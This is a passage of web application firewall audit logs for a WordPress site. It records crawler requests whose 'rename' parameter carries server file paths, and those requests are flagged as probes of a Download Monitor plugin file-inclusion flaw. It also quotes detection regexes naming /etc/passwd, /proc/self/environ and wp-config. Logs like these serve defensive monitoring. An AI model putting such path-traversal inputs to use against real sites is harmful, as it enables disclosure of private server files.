rel=\"https://api.w.org/\"","Vary":"Accept-Encoding","Content-Encoding":"gzip","X-Orig-Rid":"f75dc7d2f8d3ae4bd93e61af240402e4","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Content-Length":"119","Content-Type":"text/plain; charset=utf-8"}},"audit_data":{"messages":["Match of \"rx ^(?:(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)\\\\/(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)|\\\\*)(?:[\\\\s\\\\x0b]*;[\\\\s\\\\x0b]*(?:charset[\\\\s\\\\x0b]*=[\\\\s\\\\x0b]*\\\\x22?(?:iso-8859-15?|utf-8|windows-1252)\\\\b\\\\x22?|(?:[^\\\\s\\\\x0b-\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[- ...\" against \"REQUEST_HEADERS:Accept\" required. [file \"/usr/share/modsecurity_lws/002_i360_basic.conf\"] [line \"48\"] [id \"77350474\"] [msg \"IM360 WAF: Bad Accept Header||MV:text/plain;text/html;q=0.9,*/*;q=0.8||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":263,"p2":7044,"p3":0,"p4":0,"p5":419,"sr":149,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:00:59:18.010921 +0100","transaction_id":"abNTVQPfUmAczd2QoGWvqQAAAAo","remote_address":"57.141.20.46","remote_port":45712,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/0d/b70b56275c4f0d215e000020a5ba43c20ca874 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.46","X-Forwarded-Proto":"https","X-Request-Id":"3dbdc95b4c427af2ae2d2cf892e26bf4","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"14272513"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"3dbdc95b4c427af2ae2d2cf892e26bf4","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/0d/b70b56275c4f0d215e000020a5ba43c20ca874||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":292,"p2":5530,"p3":0,"p4":0,"p5":294,"sr":145,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:00:59:55.263627 +0100","transaction_id":"abNTeiz8c_poV-IkHVYtcgAAAYo","remote_address":"65.109.118.212","remote_port":39536,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /robots.txt HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"65.109.118.212","X-Forwarded-Proto":"http","X-Request-Id":"5ec892a874e5ddb60b233edb7dd50e31","X-L-Admin-Auth":"0","Accept":"text/plain;text/html;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"29954555","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Vary":"Accept-Encoding","Content-Encoding":"gzip","X-Orig-Rid":"5ec892a874e5ddb60b233edb7dd50e31","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Content-Length":"119","Content-Type":"text/plain; charset=utf-8"}},"audit_data":{"messages":["Match of \"rx ^(?:(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)\\\\/(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)|\\\\*)(?:[\\\\s\\\\x0b]*;[\\\\s\\\\x0b]*(?:charset[\\\\s\\\\x0b]*=[\\\\s\\\\x0b]*\\\\x22?(?:iso-8859-15?|utf-8|windows-1252)\\\\b\\\\x22?|(?:[^\\\\s\\\\x0b-\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[- ...\" against \"REQUEST_HEADERS:Accept\" required. [file \"/usr/share/modsecurity_lws/002_i360_basic.conf\"] [line \"48\"] [id \"77350474\"] [msg \"IM360 WAF: Bad Accept Header||MV:text/plain;text/html;q=0.9,*/*;q=0.8||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":251,"p2":6047,"p3":0,"p4":0,"p5":292,"sr":173,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:01:55.717112 +0100","transaction_id":"abNT8yz8c_poV-IkHVYvagAAAYQ","remote_address":"65.109.118.212","remote_port":34730,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /robots.txt HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"65.109.118.212","X-Forwarded-Proto":"http","X-Request-Id":"565dab5f89556633db28713a377fdead","X-L-Admin-Auth":"0","Accept":"text/plain;text/html;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"29168110","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Vary":"Accept-Encoding","Content-Encoding":"gzip","X-Orig-Rid":"565dab5f89556633db28713a377fdead","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Content-Length":"119","Content-Type":"text/plain; charset=utf-8"}},"audit_data":{"messages":["Match of \"rx ^(?:(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)\\\\/(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)|\\\\*)(?:[\\\\s\\\\x0b]*;[\\\\s\\\\x0b]*(?:charset[\\\\s\\\\x0b]*=[\\\\s\\\\x0b]*\\\\x22?(?:iso-8859-15?|utf-8|windows-1252)\\\\b\\\\x22?|(?:[^\\\\s\\\\x0b-\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[- ...\" against \"REQUEST_HEADERS:Accept\" required. [file \"/usr/share/modsecurity_lws/002_i360_basic.conf\"] [line \"48\"] [id \"77350474\"] [msg \"IM360 WAF: Bad Accept Header||MV:text/plain;text/html;q=0.9,*/*;q=0.8||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":211,"p2":2752,"p3":0,"p4":0,"p5":203,"sr":92,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:03:08.031625 +0100","transaction_id":"abNUO_GByT275eeM2ZkoWgAAAQ8","remote_address":"57.141.20.4","remote_port":55762,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/usr/share/terminfo/v/vt300 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.4","X-Forwarded-Proto":"https","X-Request-Id":"062abee487232bac96ba31de4f742df6","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"31391747"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Upgrade":"h2,h2c","Connection":"Upgrade","Vary":"Accept-Encoding","X-Orig-Rid":"062abee487232bac96ba31de4f742df6","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/v/vt300||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":256,"p2":6186,"p3":0,"p4":0,"p5":332,"sr":204,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:05:35.183886 +0100","transaction_id":"abNUzwhXxndD9xDx47w8NgAAAEw","remote_address":"57.141.20.40","remote_port":33050,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/sftproot/htdocs/jmknew.jmkconsulting-ci.com/gdata/vendor/bin/patch-type-declarations.bat HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.40","X-Forwarded-Proto":"https","X-Request-Id":"182a34ff8e3554be3b34b1c184a1b996","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"31391932"}},"response":{"protocol":"HTTP/1.1","status":406,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"182a34ff8e3554be3b34b1c184a1b996","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/sftproot/htdocs/jmknew.jmkconsulting-ci.com/gdata/vendor/bin/patch-type-declarations.bat||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]","Access denied with code 406 (phase 2). Pattern match \"/bin/\" at QUERY_STRING. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"318\"] [id \"410009\"] [msg \"Malware.Expert - query_string: unwanted shell access\"] [tag \"MEWAF\"]"],"error_messages":["[file \"apache2_util.c\"] [line 286] [level 3] ModSecurity: Access denied with code 406 (phase 2). Pattern match \"/bin/\" at QUERY_STRING. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"318\"] [id \"410009\"] [msg \"Malware.Expert - query_string: unwanted shell access\"] [tag \"MEWAF\"] [hostname \"ptso.jmkconsulting-ci.com\"] [uri \"/service/dairy-products/\"] [unique_id \"abNUzwhXxndD9xDx47w8NgAAAEw\"]"],"action":{"intercepted":true,"phase":2,"message":"Pattern match \"/bin/\" at QUERY_STRING."},"stopwatch":{"p1":193,"p2":3131,"p3":0,"p4":0,"p5":297,"sr":110,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:05:56.325652 +0100","transaction_id":"abNU4whXxndD9xDx47w8eQAAAE0","remote_address":"65.109.118.212","remote_port":59442,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /robots.txt HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"65.109.118.212","X-Forwarded-Proto":"http","X-Request-Id":"76962b0ecd02a78484d8dd233fedd471","X-L-Admin-Auth":"0","Accept":"text/plain;text/html;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"29003288","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Vary":"Accept-Encoding","Content-Encoding":"gzip","X-Orig-Rid":"76962b0ecd02a78484d8dd233fedd471","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Content-Length":"119","Content-Type":"text/plain; charset=utf-8"}},"audit_data":{"messages":["Match of \"rx ^(?:(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)\\\\/(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)|\\\\*)(?:[\\\\s\\\\x0b]*;[\\\\s\\\\x0b]*(?:charset[\\\\s\\\\x0b]*=[\\\\s\\\\x0b]*\\\\x22?(?:iso-8859-15?|utf-8|windows-1252)\\\\b\\\\x22?|(?:[^\\\\s\\\\x0b-\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[- ...\" against \"REQUEST_HEADERS:Accept\" required. [file \"/usr/share/modsecurity_lws/002_i360_basic.conf\"] [line \"48\"] [id \"77350474\"] [msg \"IM360 WAF: Bad Accept Header||MV:text/plain;text/html;q=0.9,*/*;q=0.8||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":252,"p2":4479,"p3":0,"p4":0,"p5":368,"sr":143,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:07:26.914789 +0100","transaction_id":"abNVPvGByT275eeM2ZkqvwAAAQM","remote_address":"57.141.20.21","remote_port":42816,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/.wp-cli/cache-php-compat/plugins/header-footer-elementor/header-footer-elementor.1.6.10.json HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.21","X-Forwarded-Proto":"https","X-Request-Id":"0f8e1eb148bf0d282d897087150c1591","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"25895132"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"0f8e1eb148bf0d282d897087150c1591","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/.wp-cli/cache-php-compat/plugins/header-footer-elementor/header-footer-elementor.1.6.10.json||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":298,"p2":5399,"p3":0,"p4":0,"p5":331,"sr":128,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:07:59.296746 +0100","transaction_id":"abNVXvGYjQkrq8Uo_Ez02AAAAJY","remote_address":"65.109.118.212","remote_port":55556,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /robots.txt HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"65.109.118.212","X-Forwarded-Proto":"http","X-Request-Id":"920167b0e054e96f5eec4002fe0f08d7","X-L-Admin-Auth":"0","Accept":"text/plain;text/html;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"28939956","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Vary":"Accept-Encoding","Content-Encoding":"gzip","X-Orig-Rid":"920167b0e054e96f5eec4002fe0f08d7","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Content-Length":"119","Content-Type":"text/plain; charset=utf-8"}},"audit_data":{"messages":["Match of \"rx ^(?:(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)\\\\/(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)|\\\\*)(?:[\\\\s\\\\x0b]*;[\\\\s\\\\x0b]*(?:charset[\\\\s\\\\x0b]*=[\\\\s\\\\x0b]*\\\\x22?(?:iso-8859-15?|utf-8|windows-1252)\\\\b\\\\x22?|(?:[^\\\\s\\\\x0b-\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[- ...\" against \"REQUEST_HEADERS:Accept\" required. [file \"/usr/share/modsecurity_lws/002_i360_basic.conf\"] [line \"48\"] [id \"77350474\"] [msg \"IM360 WAF: Bad Accept Header||MV:text/plain;text/html;q=0.9,*/*;q=0.8||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":202,"p2":4806,"p3":0,"p4":0,"p5":304,"sr":140,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:09:59.661975 +0100","transaction_id":"abNV1wPfUmAczd2QoGW2LwAAABQ","remote_address":"65.109.118.212","remote_port":58782,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /robots.txt HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"65.109.118.212","X-Forwarded-Proto":"http","X-Request-Id":"c97f17aa8623fab54832412b447e39bf","X-L-Admin-Auth":"0","Accept":"text/plain;text/html;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"19666958","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Vary":"Accept-Encoding","Content-Encoding":"gzip","X-Orig-Rid":"c97f17aa8623fab54832412b447e39bf","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Content-Length":"119","Content-Type":"text/plain; charset=utf-8"}},"audit_data":{"messages":["Match of \"rx ^(?:(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)\\\\/(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)|\\\\*)(?:[\\\\s\\\\x0b]*;[\\\\s\\\\x0b]*(?:charset[\\\\s\\\\x0b]*=[\\\\s\\\\x0b]*\\\\x22?(?:iso-8859-15?|utf-8|windows-1252)\\\\b\\\\x22?|(?:[^\\\\s\\\\x0b-\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[- ...\" against \"REQUEST_HEADERS:Accept\" required. [file \"/usr/share/modsecurity_lws/002_i360_basic.conf\"] [line \"48\"] [id \"77350474\"] [msg \"IM360 WAF: Bad Accept Header||MV:text/plain;text/html;q=0.9,*/*;q=0.8||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":295,"p2":4942,"p3":0,"p4":0,"p5":325,"sr":193,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:10:11.898506 +0100","transaction_id":"abNV436c0W8rkQnlo8IzDgAAAcc","remote_address":"57.141.20.12","remote_port":57126,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/.wp-cli/cache-php-compat/plugins/litespeed-cache/litespeed-cache.7.6.2.json HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.12","X-Forwarded-Proto":"https","X-Request-Id":"6819c40d6469899ef4914b892a298cf6","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"27922523"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Upgrade":"h2,h2c","Connection":"Upgrade","Vary":"Accept-Encoding","X-Orig-Rid":"6819c40d6469899ef4914b892a298cf6","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/.wp-cli/cache-php-compat/plugins/litespeed-cache/litespeed-cache.7.6.2.json||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":369,"p2":7978,"p3":0,"p4":0,"p5":405,"sr":159,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:12:00.734051 +0100","transaction_id":"abNWUKNDElJSaUY9M9GXNAAAAMk","remote_address":"65.109.118.212","remote_port":36570,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /robots.txt HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"65.109.118.212","X-Forwarded-Proto":"http","X-Request-Id":"9fbfe22574e1eb52e737f6bf95b7e2d4","X-L-Admin-Auth":"0","Accept":"text/plain;text/html;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"32112666","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Vary":"Accept-Encoding","Content-Encoding":"gzip","X-Orig-Rid":"9fbfe22574e1eb52e737f6bf95b7e2d4","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Content-Length":"119","Content-Type":"text/plain; charset=utf-8"}},"audit_data":{"messages":["Match of \"rx ^(?:(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)\\\\/(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)|\\\\*)(?:[\\\\s\\\\x0b]*;[\\\\s\\\\x0b]*(?:charset[\\\\s\\\\x0b]*=[\\\\s\\\\x0b]*\\\\x22?(?:iso-8859-15?|utf-8|windows-1252)\\\\b\\\\x22?|(?:[^\\\\s\\\\x0b-\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[- ...\" against 